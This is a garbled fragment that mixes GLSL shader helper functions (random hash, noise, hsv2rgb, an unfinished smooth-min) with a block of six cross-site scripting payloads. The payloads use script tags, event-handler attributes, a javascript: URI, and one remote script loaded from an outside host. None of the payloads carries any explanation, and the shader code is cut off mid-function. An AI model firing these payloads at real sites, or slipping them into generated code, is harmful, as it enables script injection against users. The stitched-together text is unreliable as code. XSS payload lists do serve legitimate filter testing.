float rand(float n){return fract(sin(n) * 43758.5453123);}
float noise(float p){
float fl = floor(p);
float fc = fract(p);
return mix(rand(fl), rand(fl + 1.0), fc);
}
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<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
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float PI = 3.14; | |
vec3 hsv2rgb(vec3 c) | |
{ | |
vec4 K = vec4(1.0, 2.0 / 3.0, 1.0 / 3.0, 3.0); | |
vec3 p = abs(fract(c.xxx + K.xyz) * 6.0 - K.www); | |
return c.z * mix(K.xxx, clamp(p - K.xxx, 0.0, 1.0), c.y); | |
} | |
float smin( float a, float b, float k ) | |
{ |